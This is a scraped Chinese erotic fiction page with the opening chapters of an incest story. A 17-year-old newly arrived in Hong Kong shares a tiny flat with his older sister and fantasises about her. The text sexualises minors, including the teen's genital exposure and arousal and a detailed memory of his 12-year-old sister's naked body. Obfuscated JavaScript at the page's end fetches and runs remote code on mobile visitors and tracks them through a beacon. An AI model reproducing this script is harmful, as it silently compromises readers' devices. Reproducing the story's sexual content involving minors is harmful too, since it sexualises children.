图片载入中

我姊程綝1-6

特大字】 【大字】 【中字】 【小字

我姊程綝

“你叫程天吗?”海关的关员惯性地确认我的名字,核对过证件的资料,盖上印章,然后像是

公式的说了一句:“欢迎成为香港公民。”

“谢谢。”我诚惶诚恐地接过证件,神情显得不安。也许自已没犯上什么,能够批准来港定居

亦叫不少乡间亲友羡慕,但我由始至终觉得这并不是一个属于自已的地方。今后的生活,对一个还

差一点才成年的少年来说,是充满着茫茫然。

人说中国富起来了,发展得比外地还好,但事实上富有的只是一小撮人,穷的仍占大多数,特

别像我们这种活在乡间的低下层,更远和富裕沾不上边缘。

顺利通过了海关,我提起行季继续前行,算是展开人生的新一页。这天过关的人很多,大堂内

喧喧嚷嚷的夹杂着种种方言。我不敢做声,因为从网络上我知道香港人大部分讨厌新移民,认为我

们是来掠夺他的资源,都是白吃不做的一群。我明白他们的心情,说实话我也不知道什么都不会的

自已,日后能为这个城市贡献什么。会否成为他们口中的蝗虫,此刻仍是未知之数。

“唿,我真的能在这种地方生活吗?”对着这陌生城市,我没半点信心。我读书成绩不好,英

语半点不通,更无任何技能。可以想像从今天起的日子,是将会很难捱过去。

“阿天!这边啊!”然而内心的不安,都随着不远处传来的开朗叫声而刹那消退。听到这声亲

切的唿唤,一直垂着头的我终于擡起脖子,眼眶映着猛挥着手,欢天喜地的綝姐。

“走快点!姊在这边啊!”

几年没见,綝姐比以前更美了,她把秀发束成发髻,朴素脸上不施脂粉,精致五官和娇嫩肌肤

却己散发着叫人动容的魅力。那圆滚滚的慧黠眼眸,仍像当年一样发出留住他人心神的慑人光彩。

“姊…”

“你来了!太好了!阿天你终于来了!”

大概没有人会否认,亲人的笑容,永远是最能使人在一瞬间心情变好。

(一)

“怎么带这么重的行李啊?都说这边什么都有,还用拿什么来?”抢着接过我行李的綝姐把沈

甸甸的背包拿在手,带点抱怨问道。我则像是找些借口的推托说:“是姑妈要我带来的,说都是姊

你爱吃的家乡小点。”

“哦,姑妈真的很疼我呢。”听见是姑母的一番心意,綝姐顿时语带感激的展现笑容。她领我

登上火车,看到我笨笨拙拙的脸无表情,带点调侃笑道:“怎么了?好像一点也不开心的?”

我傻唿唿的回答:“没有,只是有点不习惯,觉得这个地方很陌生。”

綝姐不经意的四处张望说:“是吗?我觉得不会差太远啊,湖南的高铁比香港的火车还要漂亮

吧?”然后想了一想,又捉弄般道:“还是不舍得家里的小女友,所以不开心了?”

“我哪里有女友?”我呛着大叫,綝姐半掩嘴说:“是吗?几年没见,已经是个小帅哥了,会

没女朋友吗?大姐才不相信。”

“都说没有啊!在公众场合拜托不要乱说话!”虽然在火车上应该没几个人听懂我们的家乡

话,但我仍是耳根发紫。另一方面被綝姐称赞帅哥,心里其实也是蛮爽的。

我名叫程天,今年十七岁,湖南长沙人仕。身边这位是比我年长五年的姐姐程綝,今年二十二

岁。八年前,她跟随父亲一起来港定居,正如大姐所说,几年没见,大家都改变不少,记忆中她当

年是个有点凶,对我颇为严厉的姐姐。可现在眼前的她,却完全是一个美丽的女人。

我们的母亲在我俩年纪很小时便已过世,两姐弟过着单亲生活。而因为父亲要工作,照顾我的

责任便完全落在綝姐身上。过住每一天我俩都是一起渡过,直到有一日,跟政府部门有点人脉的叔

父告诉爸爸,可以申请他和綝姐到香港定居,我们的生活才改变过来。

“怎么不带阿天一起去?他一个留在家里怎么办?”相对于我,綝姐是当时最反对的一个,但

叔父劝说,这是个难得的机会,名额只有两个,只要他们在香港住满几年,便可以用团聚的理由把

我也申请过去。

“那爸爸你把阿天带过去吧,我十四岁了,可以照顾自已,总不可能留他一个小孩子独个生

活。”綝姐坚持把机会让给我,但叔父解释她再过几年便十八岁,成年后要批准将会十分困难。最

终綝姐说不过大人们,只好接受他们的安排,而我就交由姑母照顾。

“阿天,你在家里要乖点,爸爸和姐姐一定会把你接过来。”临别时,綝姐那张哭泣的脸我到

现在仍没忘记。因为工作,父亲平日早出晚归,两姐弟可说是相依为命,我没想像过失去綝姐照顾

后的日子将会怎过,只是为了让家人放心,当年只有九岁的我那天很坚强,没有在他们面前流下一

滴眼泪。

綝姐挥着手,她走了。那一天,我甚至没有想过今生会否再有机会见到我的姐姐。

姑母是个很好的人,她没令我有个不幸的童年,但寄居亲戚家里,始终不像往时的自在,我想

念我的家人,想念我的綝姐。

当然在科技进步的今天,分隔两地也总不会失去音讯。我和綝姐一直有用微信等通讯工具来保

持联络,也有互相发送照片来让对方知道近况,但隔空对话的感觉,始终比不上面对面的亲切,而

且綝姐来了这边的工作似乎十分忙碌,发一个訉息往往要很久才收到回复。我悔恨綝姐在身边时没

有多跟她聊天,有时候忆起她说话时的两片唇瓣,不其然有种很遥远,很思念的感觉。

日子一天一天的过,幸运地在我快将踏入成年前的一年,叔父告诉我:父亲替我的申请经已获

批,我可以到香港跟家人团聚。

我爱我的家乡,但能够和真正的家人一起生活,还是令我感到无比快乐。那段时间我每天都在

倒数,算算还要过多少天才能见到我的亲人,日子愈近,心情就愈见兴奋。

到了今天,等了又等的日子终于来临。纵然为了在綝姐面前显示我已长大成人,不再是往年的

小孩,一路上我故意装作不以为意,可内心的喜悦,恐怕已早溢于脸上。

我跟随綝姐脚步来到他们的居所,正确来说,从今天起这儿也是我的家。

我家从来不是一个富裕家庭,我当然不会幻想这将会是间豪华大宅,但只能勉强容纳两个人住

的空间,又的确是叫人气馁。这个房子只有一个房间和一个小厅,綝姐还自豪的向我介绍:“看,

还有独立的浴室,不错吧?”

“也小得太可怜了吧。”农村的屋子都比较宽敞,就是姑母家中最小的房间,都比这里要大得

多。目睹我那失望表情,綝姐有点不满说:“你这个是什么表情?香港寸土寸金啊。”

我望着这间未算家徒四壁,但也相差不远的房子,仿佛带着疑问的说:“姊你和爸就是住在这

里?”

綝姐没有正面回答,相反是在回避的转个话题:“你坐一整天车也很累了吧,走洗个澡,我弄

晚饭给你吃。”

我直觉綝姐是在瞒我什么,但也没有深究,从旅行袋拿出几件替换衣服便独个转进浴室。这间

房子真的很破旧,连浴室的门也是坏掉的。就在我脱掉上衣,正要脱裤的时候,木门突然被打开,

綝姐指着挂在架上的毛巾说:“毛巾是新买的,你拿去用吧,肮脏衣服放在盆子里,我晚上洗。”

我对姊连基本的礼仪也没有,显得不满的咕噜道:“我不是小孩子了,进来总要敲门吧。”

綝姐被我一说,明白我的意思,翘起手说:“你在怪我侵犯你的私隐吗?我弟弟什么时候变大

人了?”

“本来就是大人啦,都十七了。”我仍在抱怨着,可正当想继续脱裤,却发觉綝姐一点离去的

意思没有,她更赌气的说:“脱啊!你身上有什么地方我没看过了,以后还要我替你洗内裤,就让

大姐欣赏一下,我的弟弟有多大人。”

我想不到綝姐竟会说出这样的话,登时满脸通红。綝姐没给我下台阶,挨在门边等着看我出

丑,要给小弟来个跟大姐不可驳嘴的下马威。

“哼,以为我不敢吗?”我两姐弟有一个共通点,都是受不了别人挑衅。看到綝姐那“量你也

不够胆”的得意嘴脸,我把心一横,奋然把内外两条裤子一拼拉下,让那长满男性体毛的阴茎暴露

在亲姊面前。

“呵。”綝姐脸无惧色,直瞪瞪的看着垂软的鸡巴,随即不作一回事的说:“以为什么了,还

不是小屁孩一个,学人谈什么私隐的?”

说完綝姐不屑一顾地关上木门,我冷静下来,不禁一阵后悔。没想过多年没见,第一天便在綝

姐面前露体,羞耻之余,心里也碰碰的跳。打开水龙头,一阵水花扑面,不自觉地忆起住事。

綝姐说得不错,小时候都是她替我洗澡,我身上有什么地方她没看过了?这根东西只不过是比

以前大了一点,毛多了一点,在她眼中是没什么稀奇的。

然而不只綝姐看过我,她的裸体我亦曾经见过。小时候为了省水,綝姐经常领着我脱光一起洗

澡,但那真是很小的时候了。后来不知从哪时间始,綝姐说我长大了,要我独个洗澡。有时候小孩

子撒娇,她才勉强的替我洗,但总不再在我面前脱衣服。

直到有一次去亲戚家喝喜酒,大人们喝得很晚,于是索性留在姨丈家里睡。姨母着綝姐先带表

弟妹去洗澡。我当时只有七岁,和表弟们玩得兴高采烈,几个小孩子听见可以玩水,便吵嚷的脱光

衫裤冲到浴室,不久看到同样一丝不挂的綝姐步进来。

“姊你也洗澡吗?”我已经有几年没跟姐姐洗澡,有点奇怪的问道,綝姐像是不意愿地回答:

“只有你们几个小孩子可以吗?”

这时候綝姐用浴巾掩着身体,隐约间可以看到两个隆起的胸脯。那年纪的我对性仍未有感觉,

只知道女孩子身上长有两个包子,好奇心的驱使下令我想多看一会,但又因为害怕被綝姐责骂而不

敢直视。

表弟妹们年纪小,完全没有在意綝姐的裸体,继续在浴室里奔跑跳玩,姊生气的叫他们不要乱

跑。这时其中一个表弟地滑摔了一跤,坐在地上嚎啕大哭。綝姐大惊,放下手中浴巾上前去看,这

刹那我终于可以清楚看到她胸前的两只软肉。

这就是邻居明仔说的女生奶子吗?好像很软绵绵的。那粉红色像草莓的东西,就是给小孩子吃

的奶头?

“男孩子不要哭好吗?”綝姐努力安抚表弟,手在抚摸他撞痛的额头,随着动作两个浑圆的胸

脯轻轻晃动。我被这不曾看过的景象吸引住了,当年十二岁的綝姐乳房不算很大,但那晃动的光境

却使人震撼,记忆中尚未发育的我仍未懂得勃起,只是本能地被女生那独有的软肉留着眼球。

可是更震撼的随即而来,就在綝姐双手抱着表弟站起的时候,我看到一团阴影,定睛一看,是

一堆黑毛,在两腿间构成了一个尖尖的三角形。

那一瞬间我的心跳了一下,当时的我是不知道大人下面是会有头发,也从来没意会到每天一起

生活的綝姐已经是大人。她说我长大了所以不再跟我一起洗澡,原来长大了的是她而不是我。

对自小失去母亲的我来说,这是第一次目睹女孩子的全部,綝姐仿佛亦察觉我在观看她的裸体

,表情显得不大自然。但后来她并没从地上拾起浴巾遮掩身体,而是半蹲下来,一个个地替小孩子

们清洗,我因为自觉比他们都要年长,纵然很想走近綝姐身边,但仍装作懂事地自行洗澡,并帮忙

表弟穿衣服。

理所当然地綝姐是所有人中最后一个穿上衣服,她站起来时故意背着我,有点不愿意让我看到

她下面的毛发,像是害怕我会问些什么,而我亦没有提起,自此以后,綝姐是再没在我面前脱过衣

服。

那是我懂事后唯一一次看到綝姐的裸体,说是印象深刻,其实景物模煳。乳头的颜色,胸脯的

形状早已想不起来,只记得那是个一具在晚上亦白得发光的清晰胴体,亮丽得叫人耀眼。

“我在想起什么了!”我把冷水开大,阻止自已的胡思乱想,我不是一个读书人,但亦明白意

淫亲生姐姐有违伦常,是一件不可原谅的事情。我不能幻想綝姐的裸体来挑起自已的性欲,特别是

在将一起生活的今天,更不可以在精神上侮辱我的大姐。

我强行抑压情绪,好不容易喘过气来,从浴室步出,看到綝姐还在厨房里准备,我重新打量这

间今后将成为自已家园的房子,心想如何能住得了三个人?

忽然想起什么,再次折返浴室,发觉架子上除了刚才自已的浴巾外,就只有另外一条应该是属

于綝姐的毛巾,再望望镜子下只有一个牙刷,怎样看,今日之前这里也不会是住着两个人。

不作一声回到小厅,綝姐已经弄好晚饭,欢喜的拿到桌上,我像是明知故问的道:“不用等爸

回来吃晚饭吗?”

綝姐被我这问题错愕了一下,随即漾起笑意说:“他有点忙,说不回来吃晚饭了。”

“是吗?其实…”我没心情转弯磨角,直接了当问綝姐:“爸不是住在这里的吧?姊你在瞒着

什么?”

綝姐再次一愕,明白隐瞒不了,摇摇头颅,微笑说:“我也没打算瞒什么,既然阿天你以后住

在这里,早晚也要告诉你,是啦,爸不是住在这里的。”

“为什么?为什么你们不是一起住?在这里都没其他亲人了,那爸住在哪里?”我不明问道,

綝姐叹一口气,有口难言的说:“其实是这样,爸…替我们找到新的妈妈了。”

“新…新的妈妈?”我但觉脑袋一片空白,像是眩晕的坐在椅上不懂应对,綝姐解释道:

“这件事一直没告诉你,是因为阿天你年纪还小,怕你误会…”

我没听姊把话说完,冷冷问道:“是什么时候的事?”

“大约有六年了吧。”

“六年?即是你们来了两年不到,他就跟别的女人好了,姊你一直一个人住的吗?”

綝姐知我心情激动,尽量把语气放轻,以免触动我的情绪:“是,但这样更方便啊,女孩子独

个住是最轻松的,而且…”

“混蛋!”我再也按捺不住,用力打在墙壁上,发出碰声巨响:“这样的一个男人,把女儿和

儿子舍下不顾,难怪近年连电话也没有了。”

綝姐替父亲辩护道:“其实你不能怪责爸,他仍年轻,需要有人照顾,不可能因为妈走了,就

孤独终老。”

“需要人照顾?那他的女儿就不用照顾了吗?要你一个女孩独自在这种陌生地方生活,把儿子

留在乡间不理,还算是人吗?”我质问道。

“阿天,爸没有把你不顾,至少他也把你申请过来了…”

“我才不稀罕!如果早知道这事,我宁愿永远不来!”

对我的激动,綝姐脸上一片凄凉,不知道可以再说什么。看到她悲伤的脸,我感一阵内疚,冷

静下来,道歉说:“对不起,其实最伤心的应该是姊,我没顾及你感受了。”

綝姐笑笑摇头:“没有,乡间很多人出外打工都是独个生活的,我这种又算什么?而且今后阿

天你来跟我一起生活,岂不是不再孤单了吗?”

“姊,那这些年来寄给我的生活费,是不是都是你付的?”我望着綝姐眼眸,她刻意躲开我的

眼神,不作正面回答:“吃饭时候不要谈钱好吗?”

我叹口气,再次凝望这半句钟前抱怨的小房子,綝姐要屈住在此,全是因为要把钱都寄回乡照

顾我这小弟,试问还有哪一个家,会比这里温暖?

这几年里在姑丈家寄人篱下,每每遇上不愉快的事情,我总会抱怨爸姊把我不顾而去,但到了

今天,才知道綝姐原来是一直比我更孤零零,至少我还有个算是疼我的姑母,而姊每天对着的,就

只有四面墙壁。

我再也找不到话说,唯有垂下头来,默默道:“对不起,姊。”

綝姐像是忍着泪水,彷如回到从前般抚摸我的头皮说:“傻瓜,姐弟一场说什么道歉呢?今天

看到我弟弟长得这么高大,姊高兴都来不及了,还用你向我说对不起吗?”

我很后悔刚才在冲动下说出永远不来的话。綝姐等了今天多久;而我,亦等了今天多久。

“姊…对不起…姊…”

(二)

就是这样,我和綝姐展开了两个人的同居生活。我知道我的用词是有点奇怪,哪有一家人会用

同居来形容?

由于只有一间小房,理所当然地我俩是姐弟同房,但请不要误会,在知道我将要来港后綝姐早

有准备,我俩睡的是上下隔的双层床,毫无半点身体接触,更遑论发生什么出轨的事情。

本来以我家的经济,是可以申请帮补生活的综合援助计划。但綝姐紧持自己能够工作,不想这

个年纪就成为社会负担。对此我是很明白姊的想法,从小开始她已经是个有原则的女人,亦因此令

我更尊敬我的姐姐。

然后得到社会福利署的安排,我进了附近的一所中学,因为学历问题,十七岁的年纪,只能勉

强入读中四,我早有会遭受白眼的心理准备,为了不令綝姐失望,一切的冷言冷语,我都决心要承

受下来。

“在这里,没有知识是活不下去的,你在学校是会给同学取笑,但不用理会,做好自已,读好

书,将来才有前途。”綝姐再三叮嘱我。当年因为父亲再婚,綝姐在这里只读了两年便没有继续升

学,一直努力打工赚钱。几年间白话进步不少,但少不免仍是被唤作大陆妹和乡下人等带有讥讽名

称,可姊都一一捱了过来。

我发誓今天,也要跟綝姐一样坚强。

“程天,把这段读出来。”

“老师,这些我在家里没读过,不太会。”

“是这样吗?不是说现在大陆的水平很高,可以上太空了吗?怎么连这种简单的英语也不会?

也不知道学校政策怎么搞的,收这种插班生,把整个班的平均分都拉低了。”

无论在什么地方,总会有一些看不起别人的人,你不能跟他们争论什么,也没法跟他们争论什

么,只能垂下头默不作声。我知道有些歧视是改变不了,进学后的半个月,因为广府话差劲,好几

次在学校受到白眼,我都有想要放弃的冲动,可是每当下课后去到綝姐的小店,看到辛劳工作的大

姊,那念头便会立刻烟消云散。

“綝,多来两份煎饼。”

“好的!”

正如綝姐所说,她学识不多,找不到什么好工作,开始的时候在一些超级市场当收银员。后来

经别人介绍,到了一所小卖店打工,老板本来不想请女孩,嫌她们没气力搬货,但因为知道綝姐弄

家乡的煎饼味道很好,于是特地在小卖店前弄了一个位置卖煎饼,算是十分有商业头脑。

“姊!”天时暑热,每天来到,都会看到綝姐香汗淋漓,除了煎饼还要帮忙搬货收拾,可以说

是忙过不停。

“阿天,你来了吗?”然而无论多忙,每次见我,綝姐都会咧出甜美笑容。她谈不上是绝色美

人,但总算是个漂亮女子,间中有一些狂蜂浪蝶缠个不休,姊总有办法巧妙脱身。

“綝妹,什么时候跟我约会?我请你去吃晚饭。”

“好啊,我喜欢吃煎饼,你多买两份,顺便来两客饮料,我们坐在这里一些吃。”

看着姊那从不会得失客人的表情,我只能说女人都是天生的演员,而綝姐亦是个尽职的伙计。

“唿,今天热死了,这种天气都有那么多人爱吃煎饼。”回家后,綝姐伸着懒腰,我在旁边冷

眼的喃喃自语:“他们不是想吃煎饼,是想吃掉你。”

“嗯?阿天你说什么?”

“没什么!姊你这么累,晚饭由我来吧,你去洗个澡好好休息。”为了不成为綝姐的负担,从

不久前开始我俩轮流做饭,初时綝姐不肯,但经不起我的坚持,最终只有接受下来。身为学生的我

能够为这个家贡献的事不多,做点家务已经是唯一可以做到的事。

“也好,今天真的很累,要早点睡。”綝姐拖着疲惫身躯进去浴室,我则准备饭菜,这晚天气

闷热,煮的都是以消暑为主,不消一会大功告成,我把碗筷准备妥当,下意识地朝浴室方向望去。

“今天洗那么久啊?”

小小的一个房子,空间不多,在厅子连浴室的水声也听得清楚。而且因为门锁坏掉,姊又习惯

了独居,洗澡时木门轻掩,可以说是毫不设防。

这是每个晚上都会出现的情节,每当綝姐洗澡,我便会浑身不自然起来。听着沙沙水声,可以

想像綝姐现正全身赤裸,童年时见过的一幕再现眼前。当时没有看清楚的那副身躯,如今每晚都没

有遮掩地暴露在只相隔一道掩门的咫尺之间。

我自问对綝姐没有歪念,但始终是一个女人的身体,对正处青春期的我来说是有着无比的吸引

力。我渴望知道小时候的惊鸿一瞥,是否有如往后日子所忆起的浑圆柔软。这只是一种好奇,没有

什么不洁思想。说来那日綝姐也可以毫不掩饰地直视我的裸体,今天我不经意地偷看一眼,相信不

会有什么后果。

想清楚,浴室就在通往睡房的旁边,如果我这时走进睡房拿点东西,经过时不小心从门隙看

见,只怕亦合情合理。我不贪心,只看一眼,确认一下自已的记忆力便立刻离去。

“去吧,我答应真的只看一眼。”鼓起勇气,踏出脚步,然而无论给予多大借口,不对的事说

一百遍也不会变成对。我自知偷窥是一种下流行为,何况那个是亲姊,就更是一等下流。这一步提

了很久,还是无法踏出。

这不是我首次决定行动的晚上,过去每天,我都下着同样决心,然后同样地有着年青人的犹豫

不决而没有实行。

“怎么了?不是说好今天一定要…”这个时间简直就像一个斗争,是良知与欲望间的斗争,谁

也知道偷看一眼不会怎样,亲爱的綝姐不会因此与你断绝姐弟关系,大不了是骂你一声下流,我想

她应该也理解年轻人的意志是何甚薄弱,一时受不住诱惑是情有可原。

“受不了,鸡巴都硬起来了。”婀娜多姿的曼妙躯体在脑中浮现,我喉咙干涸,下体充血。好

吧,我认了,我是幻想綝姐的身体。那些什么好奇,什么只确认记忆全都是废话。我根本就是心有

不轨,想以偷窥亲姊来满足自已的性欲。

天人交战,纠缠不堪,最终一如过住,直到以毛巾抹着微湿发尾的綝姐推门而出,我仍是没有

作出任何行动。而且更因为生怕被识破心有歹念的作贼心虚,先发制人的嚷着说:“怎么洗这么

久?饭都要凉了。”

綝姐作了一个不以为意的表情,提起右手,指着腋下部位说:“对不起,毛毛长出来了,顺便

清理一下。”

姊你是说,你在剃毛吗?你知不知道女生这一句说话,是可以带给男生多少遐想?特别是一个

半分钟前仍在认真考虑是否要偷看你洗澡的弟弟。

在乡间生活的女孩大多没清理腋毛的习惯,綝姐来港多年,也追上了这里的文化。听綝姐说到

自已的毛发,我不禁联想起她下面那尖尖的三角型。是很柔顺,很乌黑的三角型。

想到这里我脸成青色,下体硬过不行,连站起来的勇气也没有,綝姐见我一动不动,以为我在

生气,嘟着嘴说:“你肚子饿先吃饭嘛,哪用等我,现在夏天都穿短袖,不清理干净很难看的,你

知道你大姐的毛长得很快。”

靠!还在说?你想你弟弟的弟弟安静不下来吗?

綝姐看到我作不一声,开始担心问道:“真的生气吗?真的那么饿?”

对着这大发条的笨姊我哭笑不得,我哼声说:“姊你云英未嫁,说话就不要那么不雅好吗?”

綝姐莫名其妙的道:“有什么不雅?我的说话有什么不妥了?”

我忍不住大声嚷叫:“求你不要在弟弟面前毛来毛去好吗?我好歹也是个男生,你这样说,我

会幻想到你其他地方去的!”

綝姐大概想不到我会有如此反应,作了一个惊讶表情,我拼了出去,继续说着:“还有下次洗

澡请把门关上!水声那么响,飘出来的烟那么香,你弟今年十七岁,血气方刚,意志力很薄弱的,

万一忍不住偷看就不好了!”

“偷看我?我是你亲生姐姐啊?”綝姐不可思议的说,我疯了的叫:“姊也是女人,女人应该

有的东西你也有,我是男生会有遐想的好不好?”

綝姐托着头,认真思考说:“这样吗?如果你是好奇,给你看看没关系唷。”

“你知道自已在说什么吗?这种事可以没关系?”我瞪眼怪叫。

綝姐说得轻松的笑道:“是啊,都是同一个妈妈生的,况且反正你以前也不是没看过,多看一

遍有什么关系?”

“原来我姊是这样开放的吗?”我很后悔,后悔过去每天没有坚决地把勇气拿出来,原来真只

是一句满足好奇,便可以不了了之。

说到这里綝姐更扭扭轻腰,愉悦笑说:“想不到原来我蛮有魅力呢,连小弟也对我有兴趣。”

“大姐你在说什么了,我只不过是…”

“开玩笑的,不跟你胡诌,快点吃饭吧,待会要你洗碗的呢。”綝姐转个话题,拿起筷子催促

我道。

我双眼眯起,心里盘算既然你说得这样清楚,我就恭敬不如从命,明天一定要好好偷看过饱。

然则接着一天放学回家,我发觉那不知道坏了多少年头的浴室木门,被换上了一个相当坚固的

簇新门锁。而从那天起綝姐亦听从她亲弟的意见,每次洗澡都把门关得很稳,没有半点隙缝。


上一篇:我在日本电车上被强暴的故事

下一篇:慢跑时被带去破处


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};